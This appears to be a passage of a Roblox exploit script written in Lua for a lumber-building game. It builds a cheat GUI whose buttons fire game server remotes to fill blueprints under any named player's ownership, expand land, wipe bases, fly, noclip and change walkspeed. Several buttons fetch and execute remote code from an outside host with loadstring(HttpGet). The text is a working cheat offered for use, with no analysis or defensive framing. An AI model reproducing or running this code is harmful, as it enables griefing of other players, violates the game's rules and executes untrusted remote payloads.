- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Koa"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillVolcano.Name = "Volcano"
- FillVolcano.Parent = PaintFills
- FillVolcano.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- FillVolcano.BorderColor3 = Color3.new(0, 0, 0)
- FillVolcano.Position = UDim2.new(0, 3, 0, 210)
- FillVolcano.Size = UDim2.new(0, 150, 0, 20)
- FillVolcano.Font = Enum.Font.SourceSans
- FillVolcano.Text = "Volcano"
- FillVolcano.TextColor3 = Color3.new(0, 0, 0)
- FillVolcano.TextSize = 14
- FillVolcano.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Volcano"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillSign.Name = "Sign"
- FillSign.Parent = PaintFills
- FillSign.BackgroundColor3 = Color3.fromRGB(238, 196, 182)
- FillSign.BorderColor3 = Color3.new(0, 0, 0)
- FillSign.Position = UDim2.new(0, 3, 0, 233)
- FillSign.Size = UDim2.new(0, 150, 0, 20)
- FillSign.Font = Enum.Font.SourceSans
- FillSign.Text = "Sign"
- FillSign.TextColor3 = Color3.new(0, 0, 0)
- FillSign.TextSize = 14
- FillSign.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Sign"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillGoldSwampy.Name = "GoldSwampy"
- FillGoldSwampy.Parent = PaintFills
- FillGoldSwampy.BackgroundColor3 = Color3.fromRGB(220, 188, 129)
- FillGoldSwampy.BorderColor3 = Color3.new(0, 0, 0)
- FillGoldSwampy.Position = UDim2.new(0, 3, 0, 256)
- FillGoldSwampy.Size = UDim2.new(0, 150, 0, 20)
- FillGoldSwampy.Font = Enum.Font.SourceSans
- FillGoldSwampy.Text = "Gold"
- FillGoldSwampy.TextColor3 = Color3.new(0, 0, 0)
- FillGoldSwampy.TextSize = 14
- FillGoldSwampy.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "GoldSwampy"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillGreenSwampy.Name = "GreenSwampy"
- FillGreenSwampy.Parent = PaintFills
- FillGreenSwampy.BackgroundColor3 = Color3.fromRGB(40, 127, 71)
- FillGreenSwampy.BorderColor3 = Color3.new(0, 0, 0)
- FillGreenSwampy.Position = UDim2.new(0, 3, 0, 279)
- FillGreenSwampy.Size = UDim2.new(0, 150, 0, 20)
- FillGreenSwampy.Font = Enum.Font.SourceSans
- FillGreenSwampy.Text = "Green Swamp"
- FillGreenSwampy.TextColor3 = Color3.new(0, 0, 0)
- FillGreenSwampy.TextSize = 14
- FillGreenSwampy.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "GreenSwampy"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillSnowGlow.Name = "SnowGlow"
- FillSnowGlow.Parent = PaintFills
- FillSnowGlow.BackgroundColor3 = Color3.fromRGB(199, 210, 60)
- FillSnowGlow.BorderColor3 = Color3.new(0, 0, 0)
- FillSnowGlow.Position = UDim2.new(0, 3, 0, 302)
- FillSnowGlow.Size = UDim2.new(0, 150, 0, 20)
- FillSnowGlow.Font = Enum.Font.SourceSans
- FillSnowGlow.Text = "SnowGlow"
- FillSnowGlow.TextColor3 = Color3.new(0, 0, 0)
- FillSnowGlow.TextSize = 14
- FillSnowGlow.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "SnowGlow"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillCaveCrawler.Name = "CaveCrawler"
- FillCaveCrawler.Parent = PaintFills
- FillCaveCrawler.BackgroundColor3 = Color3.fromRGB(33, 84, 185)
- FillCaveCrawler.BorderColor3 = Color3.new(0, 0, 0)
- FillCaveCrawler.Position = UDim2.new(0, 3, 0, 325)
- FillCaveCrawler.Size = UDim2.new(0, 150, 0, 20)
- FillCaveCrawler.Font = Enum.Font.SourceSans
- FillCaveCrawler.Text = "CaveCrawler"
- FillCaveCrawler.TextColor3 = Color3.new(0, 0, 0)
- FillCaveCrawler.TextSize = 14
- FillCaveCrawler.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "CaveCrawler"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillSpooky.Name = "Spooky"
- FillSpooky.Parent = PaintFills
- FillSpooky.BackgroundColor3 = Color3.fromRGB(98, 71, 50)
- FillSpooky.BorderColor3 = Color3.new(0, 0, 0)
- FillSpooky.Position = UDim2.new(0, 3, 0, 348)
- FillSpooky.Size = UDim2.new(0, 150, 0, 20)
- FillSpooky.Font = Enum.Font.SourceSans
- FillSpooky.Text = "Spooky"
- FillSpooky.TextColor3 = Color3.new(0, 0, 0)
- FillSpooky.TextSize = 14
- FillSpooky.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Spooky"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillLoneCave.Name = "LoneCave"
- FillLoneCave.Parent = PaintFills
- FillLoneCave.BackgroundColor3 = Color3.fromRGB(207, 226, 247)
- FillLoneCave.BorderColor3 = Color3.new(0, 0, 0)
- FillLoneCave.Position = UDim2.new(0, 3, 0, 371)
- FillLoneCave.Size = UDim2.new(0, 150, 0, 20)
- FillLoneCave.Font = Enum.Font.SourceSans
- FillLoneCave.Text = "LoneCave"
- FillLoneCave.TextColor3 = Color3.new(0, 0, 0)
- FillLoneCave.TextSize = 14
- FillLoneCave.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "LoneCave"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillSpookyNeon.Name = "SpookyNeon"
- FillSpookyNeon.Parent = PaintFills
- FillSpookyNeon.BackgroundColor3 = Color3.fromRGB(255, 176, 0)
- FillSpookyNeon.BorderColor3 = Color3.new(0, 0, 0)
- FillSpookyNeon.Position = UDim2.new(0, 3, 0, 394)
- FillSpookyNeon.Size = UDim2.new(0, 150, 0, 20)
- FillSpookyNeon.Font = Enum.Font.SourceSans
- FillSpookyNeon.Text = "SpookyNeon"
- FillSpookyNeon.TextColor3 = Color3.new(0, 0, 0)
- FillSpookyNeon.TextSize = 14
- FillSpookyNeon.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "SpookyNeon"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillGenericSpecial.Name = "GenericSpecial"
- FillGenericSpecial.Parent = PaintFills
- FillGenericSpecial.BackgroundColor3 = Color3.fromRGB(255, 102, 204)
- FillGenericSpecial.BorderColor3 = Color3.new(0, 0, 0)
- FillGenericSpecial.Position = UDim2.new(0, 3, 0, 417)
- FillGenericSpecial.Size = UDim2.new(0, 150, 0, 20)
- FillGenericSpecial.Font = Enum.Font.SourceSans
- FillGenericSpecial.Text = "Pink"
- FillGenericSpecial.TextColor3 = Color3.new(0, 0, 0)
- FillGenericSpecial.TextSize = 14
- FillGenericSpecial.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "GenericSpecial"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillFrost.Name = "Frost"
- FillFrost.Parent = PaintFills
- FillFrost.BackgroundColor3 = Color3.fromRGB(175, 221, 255)
- FillFrost.BorderColor3 = Color3.new(0, 0, 0)
- FillFrost.Position = UDim2.new(0, 3, 0, 440)
- FillFrost.Size = UDim2.new(0, 150, 0, 20)
- FillFrost.Font = Enum.Font.SourceSans
- FillFrost.Text = "Frost"
- FillFrost.TextColor3 = Color3.new(0, 0, 0)
- FillFrost.TextSize = 14
- FillFrost.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Frost"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillGrey.Name = "Grey"
- FillGrey.Parent = PaintFills
- FillGrey.BackgroundColor3 = Color3.fromRGB(159, 161, 172)
- FillGrey.BorderColor3 = Color3.new(0, 0, 0)
- FillGrey.Position = UDim2.new(0, 3, 0, 463)
- FillGrey.Size = UDim2.new(0, 150, 0, 20)
- FillGrey.Font = Enum.Font.SourceSans
- FillGrey.Text = "Del Prints"
- FillGrey.TextColor3 = Color3.new(0, 0, 0)
- FillGrey.TextSize = 14
- FillGrey.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Grey"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- local BaseFLOOR = Instance.new("TextButton")
- BaseFLOOR.Name = "BaseFLOOR"
- BaseFLOOR.Parent = ArtFrame
- BaseFLOOR.BackgroundColor3 = Color3.new(0, 0, 0)
- BaseFLOOR.BorderColor3 = Color3.new(0, 0, 0)
- BaseFLOOR.Position = UDim2.new(0, 3, 0, 49)
- BaseFLOOR.Size = UDim2.new(0, 165, 0, 20)
- BaseFLOOR.Font = Enum.Font.Fantasy
- BaseFLOOR.FontSize = Enum.FontSize.Size18
- BaseFLOOR.Text = "Base Floor Prints"
- BaseFLOOR.TextColor3 = Color3.new(255, 0, 0)
- BaseFLOOR.TextSize = 15
- BaseFLOOR.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/BaseFLOOR1.txt',true))()
- end)
- local SingleWalls = Instance.new("TextButton")
- SingleWalls.Name = "SingleWalls"
- SingleWalls.Parent = ArtFrame
- SingleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
- SingleWalls.BorderColor3 = Color3.new(0, 0, 0)
- SingleWalls.Position = UDim2.new(0, 3, 0, 72)
- SingleWalls.Size = UDim2.new(0, 165, 0, 20)
- SingleWalls.Font = Enum.Font.Fantasy
- SingleWalls.FontSize = Enum.FontSize.Size18
- SingleWalls.Text = "Single Wall Prints"
- SingleWalls.TextColor3 = Color3.new(255, 0, 0)
- SingleWalls.TextSize = 15
- SingleWalls.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/SingeWALLS.txt',true))()
- end)
- local DoubleWalls = Instance.new("TextButton")
- DoubleWalls.Name = "DoubleWalls"
- DoubleWalls.Parent = ArtFrame
- DoubleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
- DoubleWalls.BorderColor3 = Color3.new(0, 0, 0)
- DoubleWalls.Position = UDim2.new(0, 3, 0, 95)
- DoubleWalls.Size = UDim2.new(0, 165, 0, 20)
- DoubleWalls.Font = Enum.Font.Fantasy
- DoubleWalls.FontSize = Enum.FontSize.Size18
- DoubleWalls.Text = "Double Wall Prints"
- DoubleWalls.TextColor3 = Color3.new(255, 0, 0)
- DoubleWalls.TextSize = 15
- DoubleWalls.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/DoubleWALLS.txt',true))()
- end)
- local TripleWalls = Instance.new("TextButton")
- TripleWalls.Name = "TripleWalls"
- TripleWalls.Parent = ArtFrame
- TripleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
- TripleWalls.BorderColor3 = Color3.new(0, 0, 0)
- TripleWalls.Position = UDim2.new(0, 3, 0, 118)
- TripleWalls.Size = UDim2.new(0, 165, 0, 20)
- TripleWalls.Font = Enum.Font.Fantasy
- TripleWalls.FontSize = Enum.FontSize.Size18
- TripleWalls.Text = "Triple Wall Prints"
- TripleWalls.TextColor3 = Color3.new(255, 0, 0)
- TripleWalls.TextSize = 15
- TripleWalls.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/TripleWALLS1.txt',true))()
- end)
- local Hoofer = Instance.new("TextButton")
- Hoofer.Name = "Hoofer"
- Hoofer.Parent = ArtFrame
- Hoofer.BackgroundColor3 = Color3.new(0, 0, 0)
- Hoofer.BorderColor3 = Color3.new(0, 0, 0)
- Hoofer.Position = UDim2.new(0, 3, 0, 118)
- Hoofer.Size = UDim2.new(0, 165, 0, 20)
- Hoofer.Font = Enum.Font.Fantasy
- Hoofer.FontSize = Enum.FontSize.Size18
- Hoofer.Text = "Hoofer Art Gui"
- Hoofer.TextColor3 = Color3.new(255, 0, 0)
- Hoofer.TextSize = 15
- Hoofer.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/hooferb.txt',true))()
- end)
- local Landart = Instance.new("TextButton")
- Landart.Name = "Landart"
- Landart.Parent = ArtFrame
- Landart.BackgroundColor3 = Color3.new(0, 0, 0)
- Landart.BorderColor3 = Color3.new(0, 0, 0)
- Landart.Position = UDim2.new(0, 3, 0, 141)
- Landart.Size = UDim2.new(0, 165, 0, 20)
- Landart.Font = Enum.Font.Fantasy
- Landart.FontSize = Enum.FontSize.Size18
- Landart.Text = "Custom Land Art"
- Landart.TextColor3 = Color3.new(255, 0, 0)
- Landart.TextSize = 15
- Landart.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/LANDART1.txt',true))()
- end)
- local BluePrints = Instance.new("TextButton")
- BluePrints.Name = "BluePrints"
- BluePrints.Parent = ArtFrame
- BluePrints.BackgroundColor3 = Color3.new(0, 0, 0)
- BluePrints.BorderColor3 = Color3.new(0, 0, 0)
- BluePrints.Position = UDim2.new(0, 3, 0, 164)
- BluePrints.Size = UDim2.new(0, 165, 0, 20)
- BluePrints.Font = Enum.Font.Fantasy
- BluePrints.FontSize = Enum.FontSize.Size18
- BluePrints.Text = "BluePrints"
- BluePrints.TextColor3 = Color3.new(255, 0, 0)
- BluePrints.TextSize = 15
- BluePrints.MouseButton1Down:connect(function()
- for i,v in pairs(game.ReplicatedStorage.Purchasables.Structures.BlueprintStructures:GetChildren()) do
- local clone = v:Clone()
- clone.Parent = game.Players.LocalPlayer.PlayerBlueprints.Blueprints
- end
- end)
- local MaxLand = Instance.new("TextButton")
- MaxLand.Name = "MaxLand"
- MaxLand.Parent = ArtFrame
- MaxLand.BackgroundColor3 = Color3.new(0, 0, 0)
- MaxLand.BorderColor3 = Color3.new(0, 0, 0)
- MaxLand.Position = UDim2.new(0, 3, 0, 187)
- MaxLand.Size = UDim2.new(0, 165, 0, 20)
- MaxLand.Font = Enum.Font.Fantasy
- MaxLand.FontSize = Enum.FontSize.Size18
- MaxLand.Text = "MaxLand"
- MaxLand.TextColor3 = Color3.new(255, 0, 0)
- MaxLand.TextSize = 15
- MaxLand.MouseButton1Down:connect(function()
- for i, v in pairs(game:GetService("Workspace").Properties:GetChildren()) do
- if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer then
- base = v
- square = v.OriginSquare
- end
- end
- function makebase(pos)
- local Event = game:GetService("ReplicatedStorage").PropertyPurchasing.ClientExpandedProperty
- Event:FireServer(base, pos)
- end
- spos = square.Position
- makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z))
- makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z))
- makebase(CFrame.new(spos.X, spos.Y, spos.Z + 40))
- makebase(CFrame.new(spos.X, spos.Y, spos.Z - 40))
- makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 40))
- makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 40))
- makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 40))
- makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 40))
- makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z))
- makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z))
- makebase(CFrame.new(spos.X, spos.Y, spos.Z + 80))
- makebase(CFrame.new(spos.X, spos.Y, spos.Z - 80))
- --Corners--
- makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 80))
- makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 80))
- makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 80))
- makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 80))
- --Corners--
- makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 80))
- makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 80))
- makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 40))
- makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 40))
- makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 40))
- makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 40))
- makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 80))
- makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 80))
- end)
- local WipeBase = Instance.new("TextButton")
- WipeBase.Name = "WipeBase"
- WipeBase.Parent = ArtFrame
- WipeBase.BackgroundColor3 = Color3.new(0, 0, 0)
- WipeBase.BorderColor3 = Color3.new(0, 0, 0)
- WipeBase.Position = UDim2.new(0, 3, 0, 210)
- WipeBase.Size = UDim2.new(0, 165, 0, 20)
- WipeBase.Font = Enum.Font.Fantasy
- WipeBase.FontSize = Enum.FontSize.Size18
- WipeBase.Text = "Wipe Base"
- WipeBase.TextColor3 = Color3.new(255, 0, 0)
- WipeBase.TextSize = 15
- WipeBase.MouseButton1Down:Connect(function()
- plr = game.Players.LocalPlayer.Name
- pmds = game.Workspace.PlayerModels
- PlaceR = game.ReplicatedStorage.Interaction.DestroyStructure
- for i, v in pairs(pmds:GetChildren()) do
- if v:FindFirstChild("Owner") and v.Owner.Value ~= nil and v.Owner.Value == game.Players[plr] and v:FindFirstChild("ItemName") and v:FindFirstChild("Type") and (v.PrimaryPart ~= nil or v:FindFirstChild("MainCFrame")) then
- PlaceR:FireServer(v)
- end
- end
- end)
- WCollide = "Nothing"
- local toolaFrame = Instance.new("Frame")
- local toolamenu = Instance.new("ImageButton")
- local WalkspeedLabel = Instance.new("TextButton")
- local JumpText = Instance.new("TextBox")
- local WalkSpeed = Instance.new("TextLabel")
- local JumpPower = Instance.new("TextButton")
- local AntiBlack = Instance.new("TextButton")
- local GriefFly = Instance.new("TextButton")
- local StopGriefFly = Instance.new("TextButton")
- local Fly = Instance.new("TextButton")
- local PinkWires = Instance.new("TextButton")
- local WaterCollide = Instance.new("TextButton")
- local ClickTP = Instance.new("TextButton")
- local Noclip = Instance.new("TextButton")
- local AntiAFK = Instance.new("TextButton")
- local AntiAFKtime = Instance.new("TextLabel")
- local Fog = Instance.new("TextButton")
- local CARA = Instance.new("TextButton")
- local CARAs = Instance.new("TextBox")
- local RemoveT = Instance.new("TextButton")
- local ReJoinServer = Instance.new("TextButton")
- local Reset = Instance.new("TextButton")
- toolamenu.Name = "toolamenu"
- toolamenu.Parent = Picker
- toolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
- toolamenu.BorderColor3 = Color3.new(0, 0, 0)
- toolamenu.Position = UDim2.new(0, 15, 0,430)
- toolamenu.Size = UDim2.new(0, 80, 0, 80)
- toolamenu.ZIndex = 3
- toolamenu.Image = "rbxassetid://3916428981"
- toolamenu.ScaleType = Enum.ScaleType.Crop
- toolamenu.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = false
- AIntroImage1.Visible = false
- end)
- toolaFrame.Name = "toolaFrame"
- toolaFrame.Parent = MenuFrame
- toolaFrame.BorderSizePixel = 1
- toolaFrame.BackgroundTransparency = 0
- toolaFrame.BorderColor3 = Color3.new(0, 0, 0)
- toolaFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- toolaFrame.Size = UDim2.new(0, 170, 0, 373)
- toolaFrame.Visible = false
- JumpText.Name = "JumpText"
- JumpText.Parent = toolaFrame
- JumpText.BackgroundColor3 = Color3.new(0, 0, 0)
- JumpText.BorderColor3 = Color3.new(0, 0, 0)
- JumpText.Position = UDim2.new(0, 147, 0, 26)
- JumpText.Size = UDim2.new(0, 21, 0, 20)
- JumpText.Font = Enum.Font.Fantasy
- JumpText.FontSize = Enum.FontSize.Size18
- JumpText.Text = "50"
- JumpText.TextColor3 = Color3.new(255, 0, 0)
- JumpText.TextSize = 15
- JumpPower.Name = "JumpPowerLabel"
- JumpPower.Parent = toolaFrame
- JumpPower.BackgroundColor3 = Color3.new(0, 0, 0)
- JumpPower.BorderColor3 = Color3.new(0, 0, 0)
- JumpPower.Position = UDim2.new(0, 3, 0, 26)
- JumpPower.Size = UDim2.new(0, 140, 0, 20)
- JumpPower.Font = Enum.Font.Fantasy
- JumpPower.FontSize = Enum.FontSize.Size18
- JumpPower.Text = "Jump Power"
- JumpPower.TextColor3 = Color3.new(255, 0, 0)
- JumpPower.TextSize = 15
- player = game.Players.LocalPlayer
- Jump = 50
- JumpPower.MouseButton1Down:connect(function()
- Jump = JumpText.Text
- end)
- player.Character.Humanoid.JumpPower = Jump
- player.Character.Humanoid.Changed:connect(function()
- player.Character.Humanoid.JumpPower = Jump
- end)
- WalkspeedLabel.Name = "WalkspeedLabel"
- WalkspeedLabel.Parent = toolaFrame
- WalkspeedLabel.BackgroundColor3 = Color3.new(0, 0, 0)
- WalkspeedLabel.BorderColor3 = Color3.new(0, 0, 0)
- WalkspeedLabel.Position = UDim2.new(0, 3, 0, 3)
- WalkspeedLabel.Size = UDim2.new(0, 140, 0, 20)
- WalkspeedLabel.Font = Enum.Font.Fantasy
- WalkspeedLabel.FontSize = Enum.FontSize.Size18
- WalkspeedLabel.Text = "Walkspeed"
- WalkspeedLabel.TextColor3 = Color3.new(255, 0, 0)
- WalkspeedLabel.TextSize = 15
- WalkSpeed.Name = "WalkSpeed"
- WalkSpeed.Parent = toolaFrame
- WalkSpeed.BackgroundColor3 = Color3.new(0, 0, 0)
- WalkSpeed.BorderColor3 = Color3.new(0, 0, 0)
- WalkSpeed.Position = UDim2.new(0, 147, 0, 3)
- WalkSpeed.Size = UDim2.new(0, 21, 0, 20)
- WalkSpeed.Font = Enum.Font.Fantasy
- WalkSpeed.FontSize = Enum.FontSize.Size18
- WalkSpeed.Text = "V"
- WalkSpeed.TextColor3 = Color3.new(255, 0, 0)
- WalkSpeed.TextSize = 15
- WalkspeedLabel.MouseButton1Down:connect(function()
- local walkspeedplayer = game:GetService("Players").LocalPlayer
- local walkspeedmouse = walkspeedplayer:GetMouse()
- local walkspeedenabled = false
- function x_walkspeed(key)
- if (key == "v") then
- if walkspeedenabled == false then
- _G.WS = 150;
- local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
- Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
- Humanoid.WalkSpeed = _G.WS;
- end)
- Humanoid.WalkSpeed = _G.WS;
- walkspeedenabled = true
- elseif walkspeedenabled == true then
- _G.WS = 15;
- local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
